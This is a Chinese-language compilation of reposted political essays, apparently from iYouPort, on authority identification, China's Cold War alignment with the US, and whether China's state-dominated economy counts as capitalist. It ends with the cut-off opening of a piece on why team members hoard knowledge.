这种同权威、公司、国家、民族等等的自居作用，可以概括为“我就是**国家、权威、公司、民族……”。这种自居作用构成了一种心理现实，是一个对已经成为物质力量的意识形态的最好说明。

佣人或职员的头脑里最初只是想象自己像上级一样，但逐渐地由于压抑性的物质依附的作用，他们的整个人格都在按照统治阶级的样式被重新塑造了。

中下层阶级的人们总是准备着去迎合权威，他们扩大了自己的经济地位和意识形态之间的裂隙。他们生活在物质上受限的环境中，却在表面上装出一副绅士的派头，常常到了滑稽可笑的地步。

他们的食物既低廉又不足，但却非常看重“一副体面的服装”。大礼帽和燕尾服成了这种性格结构的物质象征。

最适合对一个民族的大众心理作出第一印象评价的媒介莫过于他们的服装了。特别能把中下层阶级人士的性格结构同产业工人的性格结构区别开的，正是这种迎合权威的态度。

这种同权威的自居作用究竟有多么深呢？

我们已经知道，这种自居作用是存在的，然而问题在于—— 除了对他们直接起影响作用的经济生活条件之外—— 情感因素是如何增强并巩固中下层阶级人士的态度，以至于他们的性格结构在危机时期、甚至在失业灾难破坏直接经济基础时，也不会有波动。

如上所述，中下层阶级各个阶层的经济地位是不同的，但是他们的家

庭状况的基本特点都是一样的。正是在这种家庭状况中，我们找到了上述性格结构的情感基础的关键 …… ○

原文

中国特色的反共 - iyouport

社会反抗和思考

试图用一个资本主义帝国去取代另一个，是徒劳的。

【按】在2020年的年终对话中，我们分析了中国和美国，尤其是双方各自的反抗者的区别和相似性，以期能找到联合的力量。这其中突出的一个障碍就是，高堡奇人幻境 —— 我们称之为双方各自的 “偏执派”。而 lausan 这篇文章对偏执派的思路为什么无法成功，做出了具体解释。

去年底的年终礼我们也提到了中国和美国是冷战而不只是竞争。但这次新冷战和曾经的冷战不同，它始终无法进入意识形态对峙的层面，因为它真的没有。

北京始终在高举民族主义而不是意识形态，它声称 “辱华” 而不是反共，因为北京自己就是最大的反共者。由于西方左翼 “偏执派” 试图以中国为杠杆的战略正在逐渐形成影响（去年初延续了数月的左翼内部大辩论的主题之一），对这一问题的强调已经变得紧迫。

lausan 的文章梳理了基本脉络，希望能帮助您理解我们在2020年底对中美关系和反抗斗争的讨论。

- 如果您错过了《中共的大迂回：一个国家的诞生》

近几年来，西方新一代的自封马克思列宁主义者正粉墨登场，用毛泽东和斯大林的遗产包装自己。他们声称自己是主导20世纪共产主义运动的第三国际共产党的继承人，同时，至少在他们的脑海中，认为自己是对美国主导的单极世界秩序最有力的威胁。老一代的马列主义者注重于取代资本主义 —— 被理解为帝国主义的首要驱动力 —— 但这新一代的马列主义者将他们的政治观点基于一套大部分是虚幻的地缘政治格局之上。他们甚至使自己相信美国的任何敌人都是 “社会主义乌托邦”，甚至是反帝国主义的国际力量。

这就导致了他们对当代中国共产党的支持，将其作为 “国际主义、社

会主义和反帝国主义”的样板，也就是“20世纪共产主义最后的堡垒”，抵抗着不断扩展的美国帝国。这一代的马列主义者所忽视的是中国在冷战晚期所扮演的东亚反共势力的角色，以及它随后对美国入侵阿富汗和伊拉克的资助。

中国这一转向的过程 —— 从国际共产主义运动的先锋到美国冷战的重要盟友，再到世界经济组织的成员 — 对理解当代资本主义体系的结构和维系至关重要。由于缺少了这一视角，潜在的左翼人士只能在由一知半解的口号和半个世纪前就已经死去的意象建构的世界中自行摸索游走，而无法看清构成美国帝国体制的资本和帝国的真实结构。

美国与中国之间的关系并非一直是友好的。尽管美国的反共主义在或多或少因二战中与苏联结盟而减轻了，但杜鲁门（Truman）政府依然在内战中支持了反对中国共产党的蒋介石及其国民党。中国共产党在内战中的胜利带来的「中国的丢失」在美国被认为是麦卡锡（McCarthyite）的反共主义的主要驱动力之一。

紧接着内战的结束，中国与美国又因美国对朝鲜的介入而兵戎相见。在这场决定半岛命运的战争中，中国士兵冒着己方的炮火对美国防御阵地进行白刃冲锋。而在那短短的三十年后，美国支持的中国就入侵了新生的社会主义越南，背后目的是击垮苏联在东亚的影响。如何才能解释如此剧烈的地缘政治变化？答案之一是中共在60年代末70年代初所面临的双重危机 —— 中苏交恶所带来的地缘危机和它进而带来的国内生产危机，这些状况贯穿了“社会主义中国”的大部分时期。

导致中国改换门庭加入美国阵营的这双重危机的一个重要节点就是苏联对东北工业带的去工业化。日踞时期在满洲地区建设的这一工业带被苏联不顾中国共产党人的反对用火车装车运走，用于在二战后重建苏联的工业基地。给新生的中国留下的工业基础甚至少于1917年的俄国，形成中苏间政治与经济的对立。在中国从共产主义中坚走向美国帝国重要盟友的每一步上，名义上的“社会主义”国家之间的竞争都只助力了资本主义。这些灾难性策略的最终产物就是无休止的恐怖，从资本主义的瘟疫到集中营，再到我们今天所面临的无休止的“饥荒和战争”循环。

中国在这些恐怖中的共谋能教会我们的是，反帝国主义是一场阶级斗争，而非国家间的战争，并且试图以和帝国主义同样的方式反对帝国主义 —— 资本主义的庞大产物 —— 注定会失败。理解中国在美国帝国中的角色该警醒当下的人们应当反对资本主义世界秩序的方方面面。

中苏冲突

「图」

中共和苏联间的关系从一开始就是脆弱的。苏联对第三国际的领导将中共推向了和国民党间灾难性的合作。中苏间的积怨由于1927年国民党对上海工人起义的屠杀和中共城市工作的事实解体而更为加深。中苏间的关系随着赫鲁晓夫的秘密报告和苏联由于“大跃进”撤回所有专家而步入低谷。

冰冻的中苏关系进一步恶化了中国二战和内战中农业遭受重创所带来的生产瓶颈。为了提高农产品产量，中共需要工业实力来利用拖拉机等技术使农业现代化。但为了工业建设，中共又需要扩张粮食供应来支撑更多的城市工业人口。这就产生了限制发展的瓶颈。1958年，中共决定利用农民以蛮力强行打破这个瓶颈。“大跃进”运动将农民从农业生产中征调出来，优先针对基础设施建设，同时试图通过征调农民来补上工人的缺口。这样带来的结果是历史性的灾难。随之而来的饥荒导致了几百万人的死亡，而瓶颈则丝毫未改变，更对建立工业基础带来了紧迫的要求。

中苏关系在60年代中继续恶化。1969年，中苏部队之间在珍宝岛爆发了武装冲突，几乎导致了两国间的全面战争，双方整条边界线上部队都进行了动员。这场边境冲突终于导致了中苏间决定性的破裂。毛泽东对此构想的解决方案是与美国交涉建立反苏同盟并寻求美国技术援助。这些技术转让对中国未来发展至关重要。如同毛所设想的这类进口替代方案大多数都像70年代的委内瑞拉与安第斯共同体一样失败了，因为跨国企业总是不愿向各国出售国产工业所需的技术。而美国与他们不同，愿意给中国送去整座工程的设备作为技术转让，但是索取的是另一种代价 —— 中国必须出卖国际共产主义运动。

中国向美式资本主义的转向

「图」

中国的背叛最初的迹象是它在1971年孟加拉国种族灭绝中对巴基斯坦积极的支持态度。到了1972年，毛与尼克松（Nixon）的会面象征了反共转向的完成。

在此之后，中国成为了美国亲近的盟友，以及在东亚甚至更大范围内的反共支柱。到70年代中叶，中国已经给皮诺切特（Pinochet）提供无息贷款、与南非和美国一起支持争取安哥拉彻底独立全国联盟

（UNITA）反对在安哥拉的苏联与古巴势力以及各种反动的资产阶级政府建立了外交关系，从菲律宾的马科斯（Marcos）政权到日本。邓小平更是通过1979年入侵越南巩固了这一同盟。入侵越南的战争是为了保护美国支持的红色高棉 —— 越南当时正尝试推翻这一政权。

中共声称在战争中歼灭了十万越南共产党人，对东亚的共产主义运动造成了巨大打击，事实上终结了东亚作为冷战前沿的地位，进而为美国转移重心至拉丁美洲和非洲炮制惨案、加强欧洲反苏军备和镇压本土共产主义运动提供了方便。

中国向资本主义阵营的倾斜也解决了美国的另一个难题。在70年代的危机中，利润率的下降造成了制造业巨大的产能过剩以及无法盈利的投机资本。这场危机表现为一系列的债务泡沫，从拉美蔓延至日本。这时，中国教育基础较好但极其贫穷的大量人口作为劳动力和市场融入全球经济，使得制造业得以恢复，足以让资本主义度过这场风暴。

> 在此之后，中国成为了美国亲近的盟友及在东亚甚至更大范围内的反共支柱。

于是，资本开始流向中国的制造业，90年代东亚泡沫破裂后这一过程愈演愈烈。随着集装箱运输的出现，曾经为了遏制中共威胁的美国军事补给航线转化为了中国对美国的出口渠道。正是在这一时期，中国与美国帝国的军事联盟全面转变成了经济联盟。美国帝国是建立在债务基础上的：它的财力和膂力密切相连。美国的赤字支出为美军埋单，而美国又以军力迫使其他国家购买偿还之日遥遥无期的美债，如此从全球榨取贡金。正是通过这种安排 —— 枪口下的购债 —— 帝国之位才得以维系。尽管美国和中国官员摆出了对抗的姿态（为了得到军火工业的支持），美国依然无法在军事上胁迫中国，因为中国拥有核武器和世界上规模最大的军队。

这使得中国在美国帝国中扮演了一个独一无二的角色。与其他主要的美债购买国（日本、韩国、德国）不同，他们是美国的军事保护国，因此可以被美国胁迫提高货币价值，而中国补贴美国的战争机器是处于自己的意愿。更准确地说，中国资助美国的战争是为了维持美元相对于人民币的高价值，这样中国在制造业方面就拥有巨大的竞争优势，也是它经济高速增长的重要动力。

但世界其他国家所付出的代价是巨大的；尽管中国显然没有强迫美国入侵伊拉克，但它确实资助了这场战争。和东亚的美国保护国一起，中国填补了伊拉克战争、布什时代的减税和2000年代初的经济衰退共同导致的巨大美国预算缺口，在发动伊拉克战争时支撑起了疲软的美

国经济。

随着美国在阿富汗和伊拉克的支出，中国加大了购买美国债券的力度。事实上，中共成为了“新反恐战争”的热心参与者，与以色列紧密结盟，从迅速发展的贸易中购买美国的反叛乱战术和科技，最终雇佣了美国雇佣兵艾瑞克·普林斯（Erik Prince）在“新疆”部署。

- 在我们的列表-4“作恶者：谁在帮中国”中看到更多相关内容

中国是美国帝国主义的同谋，在某种程度上要对美国帝国的兴起负责。中共在冷战中选择站在了资本的一边，从而注定了国际共产主义运动的失败，并且至今仍在资助帝国。但是，如果简单地说“这两个国家都很糟糕”，那就错了。现代形式的帝国主义是资本主义的产物。资本主义是一个世界体系，而不仅仅是个别国家的产物；用一个资本主义帝国取代另一个资本主义帝国是徒劳的。任何形式的以国家为中心的反帝国主义政治，都会使资本主义的一副面孔与另一副面孔对立起来，只能再生产出号称要与之斗争的那个体系：资本主义。只有与整个资本主义世界体系对抗，无论它挂的旗帜颜色是什么，帝国的噩梦才能结束。○

Anti-communism with Chinese characteristics

原文

为什么中国尚且不是 "常规" 的资本主义？ - iYouPort

关于中国社会社会反抗和思考

尽管法拉利是粉红色的

【注：一周前我们发布了另一篇文章，讲述《为什么说中国是资本主义国家》，来自 Eli Friedman：康奈尔大学工业与劳动关系学院副教授，也是《罢工中国》的合著者；而这篇文章是对此的一个辩论式回应，来自 Richard Smith。晚些时候我们将介绍他的书】

「图」

「图」

Eli Friedman 说，“二十一世纪的中国是资本主义的。这对于一个在20世纪50年代末已基本废除生产资料私有制的国家来说，是一个巨大的转变”。然而今天，“资本主义的指标比比皆是。这个国家的大都市布满了法拉利和古驰的门店，外国和国内企业的品牌商标堆满了天际线 …… 每一个主要的城市核心区都出现了许多高层豪华住宅 …… [而中国] 已经成为世界上最不平等的国家之一。”

除了上述表象之外，对 Friedman 来说，中国现在已经是资本主义国家的确切证据是 “商品生产已经普遍化了。这一点在以中国为中心的巨大跨国供应链中显而易见，工厂对中国工人的剥削 …… 首先是以创造利润为导向，而不是以满足人类需求为导向”。

我想说的是，商品生产并没有在整个经济中普及。即使是劳动力也没有完全商品化，因为中国企业仍在使用不自由的劳动力：大学生被政府强迫在苹果富士康的工厂里以低于最低工资的方式工作，否则就会被剥夺毕业的权利；中国企业在新疆用奴隶式工人生产出口产品，全国有几十个强迫劳动营。

虽然在城市消费品和服务、零售业以及沿海外商投资经济特区（SEZs）中，市场规则最为明显，但是，在更大的国家主导型经济

中，国家所有权和规划仍然是居于统治地位的。

「图」

「图」

资本主义是一种建立在普遍商品生产基础上的经济制度，是一种将所有生产要素 —— 土地、劳动力 —— 都被变成商品的制度。劳动力这个 “特殊” 商品被完全剥夺，以至于除了劳动能力外，没有任何东西可以出售。

这个 “原始积累” 过程的另一面是，新的农业资本家和工业资本家阶级通过暴力和其他手段，确保对主要生产资料的垄断。这种权力和财产不平等的制度，只能通过警察和司法的国家权力做为后盾，才能得到保障。没有私有财产就没有资本主义经济。

中国具备资本主义的一些先决条件，但不是全部。劳动力大多是商品化的；国内也的确有一个资产阶级掌握着重要的生产资料。但中国仍然没有私有财产。

毛泽东在1956年废除了私有财产，一直没有恢复。在中国，所有的土地、自然资源和大部分生产资料仍然掌握在党国手中，即共产党统治的阶级手中。

城市中产阶级可以购买自己的公寓，但他们并不拥有楼房下面的土地。他们甚至不真正拥有自己的公寓，因为地方政府可以也确实会任意没收住宅楼，驱逐名义上的业主，将建筑推倒用于新的基础设施项目开发，并迫使前 “业主” 接受被规定的赔偿，否则就什么都得不到。

资本家可以建立工厂。但他们这样做是受到党国的驱使。他们的企业可以、有时也的确会被任意没收，没有追索权。那资本家呢？如果中国是资本主义，那么资本家在哪里？

正如我们下面要指出的那样，许多人确实活了下来，但自2013年习近平的反资本主义镇压开始以来，许多著名的资本家被关进监狱，他们的资产被没收 —— 因为他们是资本家。这是一种什么样的资本主义？

「图」

「图」

不是“常规”的资本主义，而是一种混合型的官僚制集体主义资本主义

正如我在今年出版的新书中所解释的那样，今天的中国有很多种资本主义：国家资本主义、裙带资本主义、流氓资本主义 —— 中国综合了所有这一切。中国的亿万富翁比美国还多；许多国有产业广泛为市场生产，大部分劳动力是自营职业者或在私营企业工作。

即便如此，它也还不是常规的资本主义经济，至少其主要部分不是资本主义经济。更好的说法是官僚制集体主义-资本主义混合型经济，其中官僚集体主义的国有部门占大多数。

中国的共产党统治者不像资本家那样私人拥有经济。国家拥有大部分经济，中共拥有这个国家 —— 集体主义。在中国，市场并没有组织大部分的生产，市场改革早已在中国停滞不前，这就是裴敏欣所说的“转型陷阱”。

在“市场改革开放”的四十年里，中国从来没有错过任何一个五年计划，也没有缺失制定年度增长的目标。中国仍然是一个以国有为主、计划经济为主的国家。正如麻省理工学院的黄亚生所言，“中国民营经济的规模，尤其是其本土成分相当小”，大多由小企业和个体劳动者及农民组成。

「图」

「图」

https://www.dailymotion.com/video/x3xb5r5

50–30–20

今天，中国的统治者主持着一个工商业巨头，全世界的轻工业车间，最大的制造商，最大的出口国，第二大经济体，拥有14万亿美元的GDP，众多的世界500强国企，以及世界最大的3万亿美元主权财富基金。

中国的国有企业集团算得上是世界上最大的公司之一。上世纪80年代，《财富》全球500强榜单中没有一家来自中国的公司；但到2017年，中国有115家公司上榜，国家电网、中石化、中石油位列第二、第三、第四。这115家企业都是大企业，而且都是国有企业。

James McGregor 写道：“在2012年《财富》全球500强中来自中国大陆的69家公司中，只有7家不是国有企业，[而这7家] 公司都获得了大量的政府援助，而且大多数公司的股东中都有政府实体。”

在关键行业，国有企业拥有和控制的资产比例在74%至100%之间。中国的主要银行100%为国有银行（有数百家外商投资的私人投资银行，但它们的地点受到限制）。

政府还拥有从奥迪到施乐等跨国公司的数千家合资出口导向型产业的51%或更多，这些产业在过去几十年中为中国经济提供了动力。政府还收购了大量外国公司，包括沃尔沃、先正达、史密斯菲尔德农场、倍耐力轮胎和库卡机器人，这些公司或多或少都是作为国家资本主义公司来经营的，此外，政府还拥有许多西方公司的股份，包括德国戴姆勒（奔驰）10%的股份。

在实行市场改革42年后，政府仍然拥有并控制着经济的制高点：银行、大型采矿业和制造业、重工业、冶金、航运、能源发电、石油和石化、重型建筑和设备、原子能、航空航天、电信和互联网、汽车（有些是与外国公司合作）、飞机制造（与波音和空客合作）、航空公司、铁路、制药、生物技术、军事生产等等。长期以来，外国投资者一直抱怨说，他们被冻结在战略部门之外，被迫接受中国国有合作伙伴的合资企业，而不是在少数几个向他们开放的部门建立独资业务。

2018年，特斯拉获准在中国建立第一家外资汽车厂。

「图」

「图」

可以肯定的是，中国有一个广泛的资本主义市场经济与国有部门并存。事实上，今天私营企业的工人数量几乎是国营企业的两倍。

中国的国内资本主义部门主要由众多的中小型企业和自营职业者组成，其中绝大多数企业是小煤矿、地方建筑公司、小钢铁厂、纺织服装公司、制鞋长、零售店、超市、餐馆、自营卡车司机、送货员、出租车司机、家庭企业和农民等。

私营部门中的大型企业还包括像百度（谷歌离开后主导中国市场的互联网搜索巨头）、腾讯（即时通讯巨头）、马云的阿里巴巴（电商巨头）、电信巨头华为、大连万达集团和SOHO中国等房地产开发商、

娃哈哈公司等食品加工企业、安邦等保险公司。

2000年代，一大群亿万富翁像雨后春笋一样冒了出来。安邦保险集团，曾经是一家沉睡的小汽车保险公司，2004年由一个入赘邓小平家族的本地人创立，安邦保险集团突然在2014年上市，资产高达2950亿美元，然后将资金转移到海外，买下了包括纽约华尔道夫·阿斯托里亚在内的外国房产。

在当今中国所有权非常不透明的情况下，几乎不可能知道哪些公司是真正或完全私有的。一个有用的经验法则是，公司规模越大，国家越有可能拥有重大权益。

美国政府在2011年的一项研究发现，国有企业与地方政府拥有的（所谓的集体所有制）城市、乡镇和村镇工业一起，占据了中国目前非农GDP的一半。与中国政府合资的外商投资企业，主要是经济特区，约占非农GDP的三成。中国本土私营部门占其余部分，约20%。

无论哪种方式，国家至少拥有工业经济的一半，并控制其余部分。农业名义上是私有的，但农民一无所有，不是他们的农场，不是他们的房屋，数以千万计的土地被没收，有或没有补偿。

「图」

「图」

“杀猪名单”

近期马云被约谈的故事很可能并非源于他说的那几句话。

共产党对国内的资本家保持着控制。成功的企业家很快就发现自己需要一个国家“伙伴”，否则政府会建立自己的竞争者将他们赶出去，或者他们会发现自己遭受强制收购。

更糟糕的是，那些出现在福布斯世界最富有者名单或胡润富豪榜上的人，都有可能引起政府不必要的关注；他们可能会被逮捕或以“惊人的速度”消失得无影无踪。

在2015年的短短一年时间里，就至少有34家中国公司的高级管理人员被国家逮捕，其中包括同一年收购了 Club Med 的复星公司的首席执行官。

中国人称这些为“杀猪”，即“杀猪名单”。自2013年习近平用反腐运

动集结权力以来，大亨们纷纷倒下。2015–16年，中国富人向海外输送了超过一万亿美元的资金，主要是通过投资海航、复星、大连万达、安邦等私人公司，他们买下了酒店（希尔顿、喜达屋等）、AMC娱乐公司、传奇娱乐公司、太阳马戏、足球队和世界各地的房产 —— 主要是为了洗净他们的赃物，并将其停放在一个法律会保护他们资产的国家。

习近平急于遏制 “热钱” 外流，担心政府因国家对私营公司的贷款而蒙受损失，并决心防止一个过于强大的富豪资本家阶层的崛起，而向他们发起了挑战。他追捕所谓的 “灰犀牛”，这些公司的高杠杆率和 “非理性” 的外国投资威胁到了金融稳定。首席执行官们被控犯有经济罪，被关起来，他们的资产和公司被没收。

2017年6月，他拿下了安邦的CEO吴小晖，此人娶了邓小平的孙女。吴小晖被判了18年徒刑。他的公司被收归国有，国家正在卸载他的财产。7月，曾发誓要 “打败迪斯尼” 的吹牛皮的地产商、娱乐大亨、浑然一体的中国首富王健林（大连万达）被勒令出售其主题公园和酒店，以偿还国有银行。中国最大的建筑商/开发商 —— 中国万科的创始人王石，虽然没有被指控任何罪行，但在2017年，他的公司被迫接受国有企业接管。

2018年3月，海航CEO陈峰，此人曾在六大洲积累战利品资产，拿下德意志银行10%的股份、希尔顿酒店25%的股份、曼哈顿数百亿的豪宅和大楼、瑞士公司等，被命令出售 “不属于北京政策议程” 的房地产和其他资产。就在最近有报道称，肖建华的几十亿金融帝国已经被国家查封，正在被拆除。肖曾经是包括习近平自己家族的统治精英们信赖的金融家，曾于2017年被一家香港豪华酒店绑架，此后销声匿迹。

正如他们在中国所说的那样，“国进民退”。

「图」

「图」

当然，许多私人亿万富翁继续兴旺发达，包括阿里巴巴董事长马云（共产党员，早在他发财之前）和腾讯控股有限公司创始人马化腾，"他们的公司"积极促成了党的产业政策目标 —— 如促进消费主义和收集客户情报等，但习近平却斩断了中国有志向的民族资产阶级，将他们的公司国有化，挫伤了私人部门的士气，这就是他的预期目的。

习近平是一个民族主义者和新毛泽东主义者。他对资本家充满敌意，他不希望政府资本，甚至是私人资本，浪费在小事上，或者被漏出国门。他希望资本集中在国家产业政策的重点上。此外，在他推动的中国消除贫困的过程中，那些满身金光闪闪的亿万富翁是他的新毛主义社会平均的尴尬。

邓小平：恢复资本主义还是利用资本主义拯救共产主义？

在毛派对中国的解释中，毛泽东试图建设社会主义，而邓小平则“恢复资本主义”。这个神话与历史不符。

邓小平抛弃了毛泽东的专制主义，实行市场改革，并对西方投资开放。 但从一开始他就很清楚，改革并不意味着反革命。不会有私有化，不会有资本主义的复辟。在20世纪80–90年代，邓小平和他的同志们对戈尔巴乔夫的私有化导致了共产党中央的崩溃感到震惊和恐惧，他们决心避免这种错误。

因此，1985年，他向忧心忡忡的同志们保证：

我们要实现工业、农业、国防和科技的现代化。但在“现代化”前面有一个修饰词“社会主义”，使之成为“四个社会主义现代化”……。社会主义有两大要求。第一，它的经济必须以公有制为主体 …… 我国公有制经济占*90%*以上。同时，我们允许小部分个体经济发展，我们吸收外资，引进先进技术，甚至鼓励外国企业在中国设厂。这些都将作为公有制为基础的社会主义经济的补充，不能也不会破坏社会主义经济。

同样是在1992年1月至2月，就在12月苏共垮台后的几周，邓小平对深圳和其他经济特区进行了著名的“南巡”，以加强支持改开的力量，对抗准备关闭经济特区的保守派。他坚持认为，虽然市场改革和开放是拯救共产党的唯一途径，但他不是戈尔巴乔夫：

经济特区不姓“资”，姓“社”。在深圳，公有制仍然是经济的主体，外资占四分之一。. . . 我们仍然占有优势，因为我们有大中型国有企业和乡镇企业。更重要的是，我们手中掌握着国家权力。有些人认为，外资增加就会发展资本主义，外资企业增加就会增加资本主义的东西。这些人缺乏常识。. . . “外资企业受我国政治、经济总条件的制约，因而对社会主义经济形成有益的补充。归根结底，它们对社会主义是有利的。”

毛泽东的总策划陈云把中国对资本主义的利用比作“笼中之鸟”。笼子

不能太小，以免鸟儿窒息，但必须把鸟儿控制住，否则它就会飞走——资本主义会失控。所以，至今仍是如此。今天的中国，没有完全成为“资本主义的东西”，没有像俄罗斯那样把国有资产全盘私有化给寡头。

作为华尔街日报北京分社负责人和美国安可顾问有限公司驻华董事长的 James McGregor 在中国工作了二十多年，他这样描述90年代和2000年代中国国家控制的普遍性以及资本家和市场的边缘角色：

“国有企业垄断或主导了所有重要的经济部门，控制了整个金融体系。党的领导人部署国有企业建设和支撑经济，支撑党的垄断性政治控制。私营部门为经济增长提供了润滑剂，只要支持党，人民就有致富的机会。”

《红色资本主义》的作者，资深投资银行家和中国首次公开募股的参与者 Carl Walter 和 Fraser Howie 在2011年写道：

国家作为监管者、政策制定者、投资者、母公司、上市公司、券商、银行、银行家，参与到市场的每一个阶段。总之，国家充当了中国各大国企的总参谋角色。

不仅如此。正如投资银行家 Joe Zhang 所解释的那样，国家的影响力遍及整个经济领域，涵盖了各种普通的消费品行业：

“它们//不仅//垄断了（或几乎垄断了）许多“具有重要战略意义”的部门和行业 …… 而且还在制造业、金属、食品和饮料、燃气和水务设施、零售业务、酒店和房地产等平凡而又竞争激烈的部门保持大规模的经营。”

更重要的是，作为一个以国家为基础的统治阶级，决心“赶超美国”，中国的领导人将他们不断增长的财富中的一部分用于改造、现代化、升级和大幅扩张他们的国有产业，将它们变成“国家冠军”。如今，在中国的500强企业中，国有企业占据了压倒性的优势。国企占所有公司的63%，占所有收入的83%，占总资产的90%。

「图」

「图」

然而，中国的国有“公司”本身并不像新加坡的国家资本主义淡马锡和类似的主权财富基金那样是利润最大化者。他们很乐意在能赚钱的时候赚钱。但他们没有义务这样做。

许多人几十年来实际上已经破产了，但政府不会让它的“僵尸”倒闭，所以将他们的贷款永久展期。改开四十年来，没有一家重要的国企被允许破产。它们的存在和目的是由计划经济而不是市场经济决定的。

最后，在国家控制的经济中，市场也没有取代计划。早在1990年代，西方市场狂热的中国专家就曾预测中国“正在脱离计划经济”。但这从未发生。虽然领导人暗示有一天他们会“让市场配置资源”，但他们从来没有做到这一点。

而他们之所以做不到这一点，是因为要想超越美国，他们需要打造那些国有的“冠军”；所以他们需要把资源引导到发展关键产业、规划整体经济方面。因此，正如2015年11月美国国会经济与安全年度评论报告所说：

“苏联式的、自上而下的规划仍然是中国经济和政治制度的标志。五年计划(FYP)继续指导着中国的经济政策，它概述了中国政府的优先事项，并向中央和地方官员及行业发出了未来政府支持什么领域的信号。在五年计划之后，国家、部级、省级和县级的子计划层出不穷，试图将这些优先事项转化为特定地区或行业的目标、政策战略和评估机制。”

第十一个和第十二个五年计划确定了国家优先事项，并概述了如何通过分为三类的数千个子计划来实现这些优先事项。“综合计划”、“专项计划”和“宏观区域计划”。区域计划包括以中国西部工业化为重点的庞大的西部大开发计划，强调科技创新的珠江三角洲计划等等。上百个专项计划包括医药、食品加工、化工、水泥、纺织等个别行业的五年计划。更广泛的专题计划支持科技、节能、铁路、公路、电力、减灾等。

在2013年《现代中国》的一篇重要文章中，Sebastian Heilmann 和 Oliver Melton 驳斥了“计划经济的衰落”的论点：

“与这种普遍的[观点]相反. 计划经济的衰落并没有在中国发生。从1993年开始，发展规划在功能、内容、过程和方法上都发生了根本性的变化。它为市场力量和决策权的下放提供了空间，同时保留了国家官僚机构对经济的影响能力，并保证了党在放弃了许多原有权力的情况下仍能保持政治控制力。

如今，中国的中央计划员们并没有发布成千上万的详细生产目标，而是只写支票为他们的项目提供资金。

然而，即使规划已经现代化和货币化，计划仍然列出了几十项强制性和指示性的目标。例如，“十二五” 规划（2011–2015年）的目标是：经济增长7.5%，一次能源消费中非化石燃料使用量增加3.1%，单位GDP能耗下降16%，单位GDP用水量下降30%，森林覆盖率增加1.3% —— 甚至 “每万人专利拥有量” 增加1.6%。

该计划还规定了许多量化指标：高速铁路网应达到4.5万公里，高速公路系统将发展到8.3万公里，政府将在计划的5年内创造4500万个新的就业机会 …… 等等。该计划还下令建设新的港口、几十个新机场等。

总之，虽然中国有相当多的资本主义，主要集中在或多或少的完全资本主义合资经济特区出口地区，但不能把中国正确理解为资本主义政治经济。它是一个 “新阶级” 社会，是一个国家所有制和国家计划占主导地位的官僚制集体主义-资本主义混合经济，资本主义被禁锢为 “笼中鸟”。

「图」

「图」

前述的政治含义是什么？

谈到他的分析的政治含义，Friedman 问道，中国只是另一个 “与美国竞争全球帝国霸权的资本主义大国吗？或者说，我们是否应该相信中国国家及其对美国主导的秩序的反对体现了一种解放性的政治[？]”

我的回答是，几十年来，中共的政治仍没有任何 “解放性”。中国共产党自20世纪20年代成立以来绝大多数是由无产阶级组成的，并没有令人信服的社会主义政党。1926年工人革命被国民党粉碎后，该党的领导权落到了毛泽东的民族主义党派手中。

毛泽东放弃了无产阶级，构建了一个 “替代无产阶级”，即 从异质的小资产阶级群体中抽调出来的、以农民为基础的党-军-官僚机构。他拒绝马克思主义和唯物主义，而采用唯心主义和唯意志论；拒绝工人民主，而使用党的专政；拒绝无产阶级国际主义，而采用民族主义和汉族沙文主义；拒绝工人起义，而用 “人民战争” 和军事征服的策略。

事实证明，毛泽东的 “新型” 斯大林主义党代理革命取得了惊人的成功，把中国从外国占领、军阀主义、地主主义、资本主义中解放出

来，把妇女从儒家宗法制中解放出来。这就是中国革命的“解放”之处。但是，新型的革命随后又安插了一个新型的斯大林主义的党-军-官僚统治阶级，一个民族主义的、汉族沙文主义的、专制主义的警察国家独裁政权，七十年来一直在剥削中国的工人和农民，以追求他们的领导人恢复中国作为世界上最伟大国家和主要的超级大国的"“应有”地位的虚荣工程"。

作为一个统治阶级和共产主义的国家，在更先进、更强大的资本主义国家主导的世界里，毛泽东和他的继任者们和苏联同志一样，明白必须“赶超美国”—— 建设相对自给自足的高科技超级大国，以抵御资本主义帝国主义。

苏联人在与美国的经济和军备竞赛中的失败，注定了苏共的失败。邓小平和他的继任者，特别是习近平，一直在决心避免这一错误。

今天，中共正在执行一项自杀性任务，即 最大限度地实现经济增长，以超越美国，主导世界经济，"即使"这种超速增长导致的二氧化碳排放将最终引发气候崩溃和生态自杀。

今天，两种截然不同的社会制度在一个共同的使命中被结合在一起：最大限度地实现经济增长，直到从悬崖上跌落到生态崩溃。

我们唯一的希望是支持各地的民主斗争，在这些制度摧毁我们之前将其打倒，并以基于公有制和民主治理的生态社会主义社会取代它们。就像我们反对特朗普及其法西斯主义一样，我们也必须“与香港站在一起”，与新疆站在一起反对中共，因为如果不成功，我们就会面临灭顶之灾。〇

Why China Isn’t Capitalist (Despite the Pink Ferraris)

原文

为什么你的队友之间不会分享知识？ - iyouport

社会反抗和思考

【 2020年6月4日存档】人们会下意识自私，但这并非无法解决

也许您早已有这样的体会：在互联网上，只有那些口水和浅薄的（一次性的、没有保留价值的）内容会被更多人分享，但是，实用性的知识被分享程度会极低。

曾经很多人对这种现象做出过自己的解读，从虚拟空间的娱乐化到行动力差、从算法操纵到回音壁气泡 …… 也许，各种原因都有，但是，一些更明显的原因被忽略了。

我们先抛开互联网媒介。如果你曾经在一个团队中与其他人协同工作，不论是公司还是基层组织，也许你已经有这样的体验，即：某些工作只能某个人来完成，而此人往往不会倾向于教会更多其他人关于如何完成这件事的技术和经验，即便你很想学，也经常会遭到委婉的拒绝。

这是为什么呢？

这个问题的答案与开头第一个问题的答案是一致的：大多数人不会倾向于分享高质量的知识 —— 也就是那些你无法从教科书中获得的东西，它必须来自大量的实践。于是它往往是私人的。

这是件麻烦事。不论您是公司管理人员，还是公民社会组织者，您都会期待您的下属和队友彼此分享知识；因为，毕竟，这样可以为个人、团队和组织带来更大的创造力、更多的创新和更好的性能。

然而，尽管组织者试图鼓励知识共享，但许多成员还是隐瞒了自己所知道的东西 —— 这不是罕见的，这种现象被称为知识囤积或知识隐藏。

在需要分享知识的时候，人们会下意识装傻，假装不知道某些东西，或者承诺分享但从来不这样做，或者直接告诉别人不可能共享。

《组织行为学杂志》上的一篇研究发现，工作的设计方式会影响成员是否向同事共享知识或向队友隐藏知识。

具体来说，认知上更为复杂的工作（人们需要处理大量信息并解决复杂的问题）这种情况下倾向于促进更多的知识共享，而提供更多自治的工作也有可能促进知识共享。

☞而在竞争环境下，最主要的就是抑制成员之间的知识共享。

